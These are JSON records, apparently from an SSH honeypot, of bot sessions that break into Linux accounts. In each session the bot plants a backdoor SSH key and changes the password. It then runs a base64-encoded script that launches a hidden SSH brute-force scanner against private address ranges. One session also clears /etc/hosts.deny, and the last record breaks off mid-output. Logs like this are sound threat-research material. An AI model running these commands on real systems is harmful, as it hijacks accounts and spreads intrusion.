{"id":"56ac9eba-c117-47de-ab3b-d2c92c7c4d38","name":"meadow-jaunty-wigeon","protocol":"ssh","channel_kind":"exec","src_ip":"119.209.12.20","src_port":60480,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":643,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T00:51:43.073455+00:00","ended_at":"2026-08-25T00:51:43.274634+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3508,"events":[{"seq":1,"at":"2026-08-25T00:51:05.552038+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T00:51:06.193861+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T00:51:11.443958+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T00:51:11.444964+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T00:51:12.085901+00:00","kind":"input","latency_ms":null,"data":"echo -e \"iloveyou\\nP9EGVGRHlNk7\\nP9EGVGRHlNk7\"|passwd|bash"},{"seq":6,"at":"2026-08-25T00:51:12.767025+00:00","kind":"input","latency_ms":null,"data":"echo \"iloveyou\\nP9EGVGRHlNk7\\nP9EGVGRHlNk7\\n\"|passwd"},{"seq":7,"at":"2026-08-25T00:51:13.411669+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T00:51:13.412326+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T00:51:14.054814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T00:51:14.669403+00:00","kind":"output","latency_ms":613,"data":" 15888 1210 1324 11100 3173 0\n"},{"seq":11,"at":"2026-08-25T00:51:15.312243+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T00:51:16.397219+00:00","kind":"output","latency_ms":1084,"data":"-rwxr-xr-x 1 root root 148K Apr 9 2024 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T00:51:17.041530+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T00:51:17.042069+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T00:51:17.685825+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T00:51:17.686709+00:00","kind":"output","latency_ms":null,"data":" 00:51:17 up 4 days, 21:41, 0 user, load average: 0.31, 0.41, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T00:51:18.328516+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T00:51:18.329358+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T00:51:18.972454+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T00:51:18.972859+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T00:51:19.616350+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T00:51:19.617040+00:00","kind":"output","latency_ms":null,"data":"top - 00:51:19 up 4 days, 21:41, 0 user, load average: 0.31, 0.41, 0.33\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T00:51:20.261340+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T00:51:20.262162+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T00:51:20.905456+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T00:51:20.905950+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T00:51:21.551564+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T00:51:21.552014+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-25T00:51:22.193068+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T00:51:22.797593+00:00","kind":"output","latency_ms":603,"data":"Model name: AMD EPYC 7713 64-Core Processor x8"},{"seq":31,"at":"2026-08-25T00:51:23.453139+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T00:51:23.899791+00:00","kind":"output","latency_ms":456,"data":"24G"},{"seq":33,"at":"2026-08-25T00:51:25.919227+00:00","kind":"input","latency_ms":null,"data":"echo \"ubuntu iloveyou\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T00:51:26.560639+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T00:51:27.198854+00:00","kind":"output","latency_ms":637,"data":""},{"seq":36,"at":"2026-08-25T00:51:28.851124+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T00:51:29.437630+00:00","kind":"output","latency_ms":586,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T00:51:30.080954+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T00:51:30.548122+00:00","kind":"output","latency_ms":466,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T00:51:31.195122+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T00:51:31.842685+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T00:51:32.270089+00:00","kind":"output","latency_ms":426,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T00:51:32.917611+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T00:51:33.462101+00:00","kind":"output","latency_ms":545,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T00:51:34.106847+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T00:51:34.538769+00:00","kind":"output","latency_ms":430,"data":""},{"seq":47,"at":"2026-08-25T00:51:43.074437+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T00:51:43.075090+00:00","kind":"output","latency_ms":null,"data":"ubuntu"}],"credentials":[{"username":"ubuntu","password":"iloveyou","method":"password","accepted":true,"tier":"other"}]} {"id":"e43cf21d-da59-4fb6-a40a-f989fe0b0c5d","name":"fleeting-marbled-wigeon","protocol":"ssh","channel_kind":"exec","src_ip":"113.161.222.150","src_port":39120,"username":"frontend","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T23:29:11.643837+00:00","ended_at":"2026-08-24T23:29:11.885751+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6651,"events":[{"seq":1,"at":"2026-08-24T23:28:25.914535+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T23:28:26.683016+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T23:28:33.999848+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T23:28:34.000383+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T23:28:34.776258+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd\\nwSLaseFhDBhq\\nwSLaseFhDBhq\"|passwd|bash"},{"seq":6,"at":"2026-08-24T23:28:35.547429+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd\\nwSLaseFhDBhq\\nwSLaseFhDBhq\\n\"|passwd"},{"seq":7,"at":"2026-08-24T23:28:36.319224+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T23:28:36.319899+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T23:28:37.094201+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T23:28:37.581195+00:00","kind":"output","latency_ms":486,"data":"15888 6421 9467 68 0 0"},{"seq":11,"at":"2026-08-24T23:28:38.353813+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T23:28:39.098172+00:00","kind":"output","latency_ms":742,"data":"-rwxr-xr-x 1 root root 148K Apr 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T23:28:39.867662+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T23:28:39.868518+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T23:28:40.637696+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T23:28:40.638716+00:00","kind":"output","latency_ms":null,"data":" 23:28:40 up 4 days, 20:18, 0 user, load average: 0.21, 0.17, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T23:28:41.412545+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T23:28:41.424931+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T23:28:42.181089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T23:28:42.181863+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T23:28:42.957622+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T23:28:42.958794+00:00","kind":"output","latency_ms":null,"data":"top - 23:28:42 up 4 days, 20:18, 0 user, load average: 0.21, 0.17, 0.16\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T23:28:43.732055+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T23:28:43.732684+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T23:28:44.503783+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T23:28:44.504238+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T23:28:45.278317+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T23:28:45.278765+00:00","kind":"output","latency_ms":null,"data":"frontend"},{"seq":29,"at":"2026-08-24T23:28:46.049870+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T23:28:49.180704+00:00","kind":"output","latency_ms":3128,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":31,"at":"2026-08-24T23:28:49.950841+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T23:28:50.559432+00:00","kind":"output","latency_ms":607,"data":"25G"},{"seq":33,"at":"2026-08-24T23:28:53.110415+00:00","kind":"input","latency_ms":null,"data":"echo \"frontend P@ssw0rd\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T23:28:53.879681+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T23:28:54.312742+00:00","kind":"output","latency_ms":431,"data":""},{"seq":36,"at":"2026-08-24T23:28:56.636332+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T23:28:57.128223+00:00","kind":"output","latency_ms":489,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T23:28:57.899626+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T23:28:58.680598+00:00","kind":"output","latency_ms":780,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T23:28:59.451428+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T23:29:00.227248+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T23:29:00.762908+00:00","kind":"output","latency_ms":536,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T23:29:01.531601+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T23:29:01.961172+00:00","kind":"output","latency_ms":428,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T23:29:02.732416+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T23:29:11.645596+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-24T23:29:11.646026+00:00","kind":"output","latency_ms":null,"data":"frontend"}],"credentials":[{"username":"frontend","password":"P@ssw0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"720af6ad-98e8-4b27-a642-3b871d4b908a","name":"dapper-clever-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"43.165.190.208","src_port":34868,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":558,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T22:07:11.630448+00:00","ended_at":"2026-08-24T22:07:11.802058+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6826,"events":[{"seq":1,"at":"2026-08-24T22:06:33.094630+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T22:06:33.653966+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T22:06:38.865122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T22:06:38.865532+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T22:06:39.424622+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lEyGOCMQl3og\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T22:06:39.863101+00:00","kind":"output","latency_ms":438,"data":""},{"seq":7,"at":"2026-08-24T22:06:39.980970+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T22:06:40.538144+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T22:06:40.538843+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T22:06:41.097574+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T22:06:41.659083+00:00","kind":"output","latency_ms":561,"data":"15888 121 15767 0 0 0"},{"seq":12,"at":"2026-08-24T22:06:42.218798+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T22:06:42.703643+00:00","kind":"output","latency_ms":484,"data":"-rwxr-xr-x 1 root root 142K Aug 10 14:22 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T22:06:43.262922+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T22:06:43.263410+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T22:06:43.822385+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T22:06:43.822738+00:00","kind":"output","latency_ms":null,"data":" 22:06:43 up 4 days, 18:56, 0 user, load average: 0.26, 0.29, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T22:06:44.380732+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T22:06:44.381285+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T22:06:44.937395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T22:06:44.938235+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T22:06:45.498999+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T22:06:45.499686+00:00","kind":"output","latency_ms":null,"data":"top - 22:06:45 up 4 days, 18:56, 0 user, load average: 0.26, 0.29, 0.22\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T22:06:46.058822+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T22:06:46.059519+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T22:06:46.619262+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T22:06:46.619932+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T22:06:47.177950+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T22:06:47.178483+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T22:06:47.737082+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T22:06:51.075713+00:00","kind":"output","latency_ms":3334,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel 